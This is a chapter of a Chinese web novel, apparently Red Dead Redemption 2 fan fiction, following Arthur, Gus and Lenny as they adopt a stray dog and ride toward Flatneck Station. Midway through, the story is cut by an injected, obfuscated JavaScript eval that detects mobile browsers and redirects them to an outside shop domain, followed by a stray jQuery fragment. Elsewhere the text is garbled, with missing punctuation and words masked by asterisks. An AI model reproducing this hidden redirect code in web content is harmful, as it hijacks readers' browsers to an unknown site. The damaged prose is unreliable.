第60章日常
【“上次你那……一块钱,挺好的。想再赚一块吗。”】
像是个好兆头,他们才收拾好这趟出门的装备没多久,营地边缘就钻来一条流浪狗。
那是条垂着耳朵的大狗,蓝灰色短毛,深色斑点,看起来流浪了一阵子,但身躯线条依然流畅结实。它在营地外围踱来踱去,既不敢贸然靠近,又不舍得离开食物的气息。约翰的儿子小杰克先发现了它,兴高采烈地跑了过去——
“狗狗!谁的乖狗狗?”
小男孩欢天喜地叫喊着,取了条相当明显的直线路径。亚瑟眼疾手快,赶在最后一秒抄起男孩腋下,将他稳稳地放到了另一边。
“收着点莽劲,小牛仔。”男人的声音意外地柔和,“这样扑向一条大狗,可不是聪明的做法。”
“可它长得像是个乖狗狗!”杰克**,眼睛依然紧盯着狗。“它肯定想和我们做朋友!”
“我看也是。”古斯抱着胳膊,饶有兴致地出了声口哨。游戏剧情里,克莱蒙斯岬营地的随机事件,该有只猎犬出现的——“看,它在摇尾巴。嗨?小家伙?”
他试探着向前,可亚瑟的臂膀先一步横过,直接把他往后一拨。
“这是条卡他豪拉豹犬,小子。天生的猎场好手。能追捕比你个头还大的野猪和逃走的牛,有时还得看家护院。要是吓着它,你的胳膊可不够它啃几口。”
话是这么说,这家伙却自己走到最前,单膝点地,伸手向狗:“要像这样,先让它认识你。”
狗果然迟疑地向了前,伸出鼻子碰了碰亚瑟的指节。亚瑟保持不动,任由狗在他的手掌上嗅来嗅去。
“瞧见没?这才算拿到通行证。现在,该递见面礼了——”
男人没回头,没碰狗的那只手倒是向后探出。古斯一番张望,赶紧拆了包饼干。食物进手,亚瑟却不满起来:“招待新朋友可不能这样,小子。你包里的那块熏鹿肉呢?”
“狗不能吃太多盐,亚瑟。”古斯分辩,“会让它们掉**。”
亚瑟哼出一声,抓着饼干的手催促地晃了晃:“掉**?老天。你觉得野外的猎物会担心猎犬吃得太咸吗?”
古斯继续拒绝:“可它都已经到咱们这儿了,好习惯当然要现在养起。”
“那你也该给点像样的——”
但狗看起来完全不介意。见两个人类还在争执,它后腿一盘,居然老实地坐了下来,两眼里闪着期盼的光。亚瑟只得拿那块饼干递过去,狗小心地叼进嘴里,一口嚼碎,尾巴快乐地砸着泥地。
“你还真是个礼貌的伙计,不是么?”亚瑟有些诧异,两手却已诚实地摸上那身短
**。狗更高兴了,热情地把脑袋往他手里递。古斯趁机也伸出手,让狗录入自己的气味:
“我们应该留着它——等会,让我仔细瞧瞧,好的。亚瑟,我们应该收留这个小伙子。
一旁的小杰克弹簧般蹦起:“真的吗?普莱尔先生,你要养它吗?
男孩也试探着来摸狗,狗没反对。亚瑟却斜睨过来:“‘我们’?你的意思是,你喂它?
“为什么不?我知道狗应该吃什么。古斯耸耸肩,“大不了我多钓些鱼。
“太棒了!杰克雀跃着转圈,“那它晚上可以蜷在我毯子边吗?就像故事里的守护犬?
“悠着点,小鬼。亚瑟伸手按住男孩的肩膀:“说出这话的这位普莱尔先生可是城里人,指不定哪天就跑了,到时它饿了——
“——谁跑了?
达奇·范德林德的嗓音忽然自背后不远刺来。古斯险些原地蹦起,亚瑟收手的幅度几乎带出残影。下一秒,这家伙若无其事地起身、斜步,不着痕迹地拉开一道不近不远的距离。
“达奇。男人用下巴指了指侧前方。“杰克发现了这条流浪狗。我们想留它在营地。
“好啊,看来我们的小家庭又添新成员了?达奇笑着挽起袖口,蹲身查看那条狗。古斯盯着猎犬翕动的鼻翼,暗自期盼那排利齿能撕碎这张虚伪的大脸。但狗没有。跟闻他们一样,狗谨慎地嗅了嗅达奇的手,随后同意达奇摸。
“你们起好名字了吗?
“因克。亚瑟不假思索,“他就是这个颜色的。
他说得没错,这狗的蓝灰色皮**确实像初写下的铁胆墨水(Ink)。但他日记本里只有铅笔的痕迹。也许当生活更安定些,他会愿意尝试墨水?水彩?古斯暗暗地记下:“叫阿特拉斯怎么样?希腊的擎天泰坦,健壮又狡猾。
“它是只流浪狗,可能做了坏事。达奇摸着狗,语气倒是毫不客气:“该隐,就叫该隐吧。*
该隐在神话里因为嫉妒杀了弟弟亚伯,成为第一个罪人和流浪者。游戏里狗其实就叫这名,可一和达奇嘴里的有罪推定对应上,就显得不大公平。古斯不动声色道:“三个名字会把狗弄糊涂的,不如让它自己选?
达奇瞥来一眼:“有趣的提议。
没人反对,于是众人踩着湖边沙砾退开半圈。被围在中央的狗困惑地支起前爪。古斯拍拍自己的膝盖:“阿特拉斯?
狗耳朵抖了抖,没有其他反应。达奇清过嗓子:“该隐!
帮派领袖用了发号施令的威严声音,狗迟疑地原地晃了晃尾巴。亚瑟略微弯下腰,伸出手掌:“因克,过来。
狗眼睛一亮尾巴摇动的频率猛地变大一头扎向亚瑟掌心热情得让古斯怀疑亚瑟夹带了东西。但达奇在旁边。狗不理达奇。古斯当即满脸笑容地一合掌:“看来它选好了。”
“噢是的!”杰克兴奋地拍着手“因克最爱亚瑟叔叔!”
新得名的猎犬似乎听懂了对话它站起身在他们之间来回走动嗅闻最后将屁股墩在亚瑟的马靴边尾巴抽来甩去。达奇呵呵地笑起来:“看来咱们的亚瑟总有办法收获忠心是不是小家伙?哦现在该叫你因克了。”
他又去摸狗狗依然给摸。这似乎取悦了帮派首领达奇捻着胡须笑道:“欢迎入伙。亚瑟有没有打算请因克伙计喝一杯?”
“因克只是馋饼干渣达奇。你要带的是牛肋排这会儿它就该叫该隐了。”亚瑟低沉地咕哝指节温柔地搔弄猎犬耳根褶皱
——就说你作了弊。
古斯很想投以鄙视的一眼可这**越过老东西赢回只狗……而亚瑟的狗显然就是自己的狗。某种隐秘的愉悦突然漫上心头。古斯故意拖长声调:
“它还需要根牵引绳亚瑟。你已经别着警徽再牵条警犬最好再套身制服——保管没人敢怀疑卡拉汉副警长的权威。”
“上帝啊。先生们。我以为只有杰克这个年纪的才沉迷扮演警长。”达奇抱臂打了个寒颤。“想象这画面真让我浑身不适。”
他摇着头走了。古斯揶揄道:“看来我们得探讨一下具体谁来喂它?”
“少来普莱尔。”亚瑟顿时隐晦地瞪来一眼“告诉我你准备怎么喂它?”
“啊?可是亚瑟叔叔?”一边的杰克发出困惑的声音“因克是你的狗啊?为什么你要和古斯叔叔商量?”
这问题的杀伤力可相当大。亚瑟一僵古斯也是一顿。接着古斯迅速屈膝半蹲堆出笑脸:“大概是因为古斯叔叔更懂得狗……”
“但因克更喜欢亚瑟叔叔……”
这小朋友真不可爱。古斯僵着脸揉过男孩的头毛:“但你亚瑟叔叔很忙。就像就像是你和你爸妈不对就像你和营地的其他叔叔阿姨一样有时候你妈妈负责照顾你有时候其他人照顾你。大伙就是这样互帮互助……”
杰克更加困惑地眨着眼睛:“但主要就是妈妈照顾我……”
古斯:“……”
古斯催促着脑子跑出新的敷衍理由亚瑟却干脆地拉开他的手:“没事杰克大人的事就是这么麻烦。”
男人说着起身扭过头——
“喂马斯顿!艾比盖尔!”他朝帐篷方
向大喊:“你们的小子在这抱怨马斯顿从不管他!
……
约翰沙哑的怒骂追出几十码远时,因克已经获得了一条新皮绳。亚瑟拖着不明就里的蓝尼,古斯抱着狗,三人一狗占据一辆拉货的大篷车,火速撤离了营地。
主任务是采购物资,然后分头行动:蓝尼带着因克和补给返程,古斯和亚瑟搭乘蒸汽火车前往里格斯站,从那租马往草莓镇。但很快,他们碰到个不大不小的问题——
罗兹镇,是一个典型的南方小镇。尽管南北战争已结束三十余年,黑人依然被镇民视为农具。劳动法修订了没错,但也不妨碍如如吉姆·克劳法的种族隔离法条出台。
古斯穿得很好,亚瑟别着警徽,他们甚至还带了条狗。于是,他俩得到寒暄,狗得到夸奖,作为黑人的蓝尼得到的却只有往角落的一指——“仅限白人标牌像道隐秘的疥疮,歪斜地糊在褪色广告画边缘。*
店铺老板要么避免与蓝尼目光接触,要么隐晦地朝古斯或亚瑟眨着眼睛,歪歪嘴角,漏出些诸如“先生们,新时代了,不好这样招摇过市的……聪明人都是关起门用,哪会大喇喇牵出来遛弯的劝诫。
帮派初来乍到,需要低调,身边又恰好有一辆满载的篷车,蓝尼主动扮演起了马夫和苦力。他的表情几乎在第一道厌恶的视线投来时就自然地讨好和瑟缩起来,只有当没被注意时,才打起手势,用暗号开些干脆来一票的玩笑。
但这趟的附加任务是带他散心。古斯和亚瑟一番商量,干脆省下车票钱,三人骑马带狗先往草莓镇东边的平脖子站。
“保守落后的乡下小镇就是这样,每当看到个自由行走的黑人,就会想起他们祖上失落的岁月,然后把自己所有的不幸都赖到这个黑人头上。古斯说着,让金条避开路中央的泥坑,“所以我在考虑,等条件再稳当些,蓝尼和查尔斯可以跟我进城。
这两个深肤色的帮派成员里,查尔斯沉稳可靠,蓝尼能读能写,枪法虽然不及一些前辈,但也相当好,而且刚好都和亚瑟关系不错。亚瑟望来一眼,还未说话,蓝尼倒是先笑了:“听起来挺不错,希望比刚刚那个小镇的待遇强——你们看见那老板看我的眼神没?好像我要偷走她的银餐具似的。
“老天,你在那挤眉弄眼的,我以为你得手了?亚瑟顿时哼笑,“结果你还没有?
“餐具没有。谁要嚼烟?
“下次拿点别的。古斯摇摇头,“我不碰烟,亚瑟戒了。
黑人小伙显得很茫然:“可这只
是嚼烟啊?就像是呃就像是会踢你嘴的糖?”
“看伙计你也知道当你嚼这东西它会踢你的嘴。”古斯轻笑主动换了种更通俗的说法:“烟草制品的害处就是在你抽完之后它们的鬼魂还留在你身体里继续跟你们的口腔、喉咙、肺纠缠踢啊烧啊让你恢复得越来越慢。”
“把你的身体当成一栋房子它就是引火的燃油。等你受伤发烧本来是能扛过去的可它在烧着你病在烧着你你开始摇摇欲坠——”
“好了小子别吓着蓝尼。”亚瑟忽然开口“还有管好你的金条别来抢我的道。”
“拜托摩根你在胡说啥啊?明明是你自己在怕!”蓝尼立马嚷嚷起来但还是把嚼烟吐了出去。“不过确实听着瘆人……等会、等会。你们喝酒吧?是喝的吧?难道你俩到了酒吧什么都不喝光盯着我喝?这有点怪啊老兄们。”
“啤酒应该没问题……”亚瑟清了清嗓子“记在这位普莱尔账上。”
古斯:“……”
古斯:?
“我可不喝。”古斯说。
“我想喝。我好久没喝了。”亚瑟若无其事地说整理马缰眼睛不知为何格外专注于手中的活计。“三杯啤酒。你我蓝尼能出什么乱子?”
“我可没同意摩根先生。”
“小子你要雇我们干活却连啤酒都舍不得请我们喝一杯?”
古斯哼笑:“我雇你们干的又不是喝酒的活。”
亚瑟半眯起眼睛:“这么说你连喝什么都管?”
“我管了这么久不差再加些天。”古斯索性让金条加速“你我都知道一杯很容易**成两杯两杯后就是三杯。”
“我有分寸邪-咳普莱尔。”亚瑟也加速“信不过我
黑朗姆精神头正好接到主人的指令当即高兴地嘶鸣一声开始奔跑。而那匹叫做金条的沙金色战马毫不示弱发出声嘲讽似的回应。蓝尼眼睁睁地看着两个男人迅速和自己拉开距离。
两匹良驹并肩疾驰马蹄扬起的尘土在阳光下闪烁。先前跑在前方的因克此刻汪汪地跟在后面而这俩还在你来我往不断斗嘴完全忘记了身后还有个同伴。
蓝尼的目光从一人移到另一人越发茫然困惑。他的马匹喘着粗气勉强小跑几步又放慢了速度。直到因克沾着草屑的尾巴尖都越过自己蓝尼终于忍不住大声**:
“上帝啊怎么回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15957501|145920||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事?你们赛马前能不能打声招呼?照顾下我这匹老伙计!就是些带沫淡酒而已我请客、我来付行了吗?就当感谢你们带我出来透气!等会我!”
……
当太阳把西侧山脊烙出一道金边时,这趟旅程的第一个目的地出现在地平线:平脖子站。
这个蜷缩在铁路线上的小站既没有圣丹尼斯总站的煤烟穹顶,也没有罗兹镇新砌的红砖月台。两层高的木结构站房歪斜地杵在中央,斑驳的墙板上新漆着“西部联合的崭新标志。酒馆、旅店、棚屋乃至帐篷松散地环伺四周,活像群围着母鸡打转的杂毛鸡雏。*
站台旁,几个工人正将吃力地将最后一批木箱和麻袋搬上站台,为傍晚的班车做准备。而在看清来的陌生人骑着的马匹和身上的警徽后,原本倚着木墙打盹的旅店服务员纷纷精神一振,热情地迎了上来。
三块五,包含两个房间、马厩草料、冒着热气的浴桶和两顿简单的饭,衬得圣丹尼斯的套间价格像在**。而蓝尼才十九岁,又是被他们捎出来,这个钱自然不能让他掏。古斯喂完因克,忧伤地揣着自己的钱包回到房。
倒不是心疼钱。作为带养老档穿越的玩家,背包还有好些金条珠宝,但没人直接拿它们花的……所以,此时此刻,最后的现金,一块九**五。
帘子已经全拉上了,亚瑟正在写日记。那头暗金的头毛缠绕着水汽,穿得也相当慷慨,动作却透着股警惕——一见他进屋,这家伙就把本子扒拉过一个方位,还吊起了眉梢:
“怎么了,小子?让我猜猜——钱包空了?
“没错。正考虑上赌桌。古斯哼哼,“仓库里有伙人在玩德扑,筹码堆得比酒瓶子还高。
“想靠**翻本?那完了,小子。你还不如趁早学着怎么**。
“事实上,我是风险厌恶者。古斯一本正经地说着,俯身从背后搂过去,手掌虚拢亚瑟握笔的手:“我有家要养,所以我顶多投点零花——
亚瑟不写了,只拿铅笔威胁地戳向他虎口。古斯笑着缩回手:“好的,我不看。你忙你的。
古斯准备走,亚瑟却低嗤一声:“其实没什么,就是在想着塔希堤。
“嗯?这代表你让我停还是——
亚瑟合上日记本,拎出他趁机钻进领口的爪子,那双蓝眼睛却转过,手也没完全离开。
“塔希堤。男人重复了一遍,嗓音几乎只是耳语,“达奇总把那地方说得像蜜糖浸泡的天堂。芒果园,甘蔗地,没有悬赏令在我们屁股后面追着……可见鬼,我现在才发现,我画不出那些棕榈树的叶子。
手腕上有些砂纸似的摩擦感。那只带枪茧的手正无意识地揉搓着他,仿佛在试图通过他感受某种热带植物的树杈。
“今天罗兹镇那些蠢驴看蓝尼的眼神……真去了塔希堤,会有什么不同?那儿的人怎么
看待蓝尼和查尔斯?”
“你的忧虑比候鸟飞得还远,牛仔。”古斯被逗乐了。“我们最需要关注的,难道不是先把药做出来,再看看大伙能不能适应普通镇民的生活?我敢说,热带岛屿绝对比南方小镇无聊。”
“唔。”亚瑟投来一记锐利的眼锋。“你倒挺想去?”
“虽然我跟达奇不熟,但达奇的选址思路……不能说错。”古斯谨慎地说,“他只是从来没向你们展示过完整规划——”
“听起来你对达奇有意见,小子。”亚瑟微微皱眉,那只抓着他的手也不动了。“每次到达奇,你的样子都会有点……不对劲。”
该说不说,这亡命徒的嗅觉可能比屋外的因克还敏锐,而这情况再作无辜状只会显得更可疑。古斯索性用了点力,把这家伙从椅子上带起来。此刻,他俩面对面站着,近得能感受彼此的呼吸。
“怎么?”古斯笑眯眯地,“只许你像警探似的怀疑我,不许我质疑达奇的蓝图?”
亚瑟眯着眼打量过来,嘴角微微抽搐,那种神情很难解读——介于被冒犯和被逗乐之间:
“我可没怀疑你,小子。我们间的事,和达奇,完全是两码事——”
“我说的是我们最初时候的事。”古斯狡猾地截断话头,“你怀疑我是个邪祟兼骗子——”
“嗯哼,你现在也够像骗子的。”亚瑟居然点头,脸上似笑非笑:“但你又蠢又瞎……”
他没多说,但这根本不用说得多明白,也根本没法反驳。古斯勃然大怒……古斯忍气吞声:
“没错,我很可疑。达奇呢?他是说要带你们种芒果……他这辈子啃过几个芒果?等你们种出来,是打算自己包场还是卖给谁?岛民么?他们不缺这口。岛外么?算上运费那得多少一磅?哪个商人会大老远跑来买,而不是就近采购?”古斯压低声音,“何况,你们连第一棵树都没开始种,是吧?但达奇已经让你们在脑子里住进芒果园了。”
男人的表情有点空白,俨然从未考虑过这么多。他抬起手,像是要惯性去压那顶赌徒帽,但它正孤零零的悬在床柱上。于是他的手只是困惑地隔在古斯身前。
“你说话方式像个该死的律师,邪祟。”他咕哝着,却也没真的用力。“达奇,他有计划。他总是有计划……或许,或许我们可以买一个现成的芒果园?”
但这话听起来连他自己都不大相信。于是,他又挠了挠下巴,眼神游移,仿佛要把困惑碾进胡茬里——
“我可以学着种芒果,应该不比放羊和驯马……见鬼。”亚瑟啧出声,坦率地回视过来:“行吧。你说得对,小子。”他悻悻地承认,每个音节都像从铁砧上敲下来的钉子,“我们是没想那么远,但那也不代表达奇在撒谎。反正,热带、海水、小岛,听起来就是比罗兹像样。”
他怀疑了。尽管不多,尽管十几年的惯性仍在,但这是个好的开始。古斯努力遏制住将上脸的得意:“我不否认。哪天我带你去好了。”
“是吗。”亚瑟不置可否,“你存几个子了?”
古斯神情一僵。而下一秒,亚瑟望着他,慢慢地笑了。
“上次你那……一块钱,挺好的。”亚瑟下颌微抬,后腰往书桌靠了靠。
“想再赚一块吗?”
作者有话要说:
*
*游戏里营地狗译法用的是凯恩,本章用了更加广为人知的该隐
*游戏罗兹镇没有明显的“仅限白人”标牌,本章为结合史实修订。平脖子站景色描写同。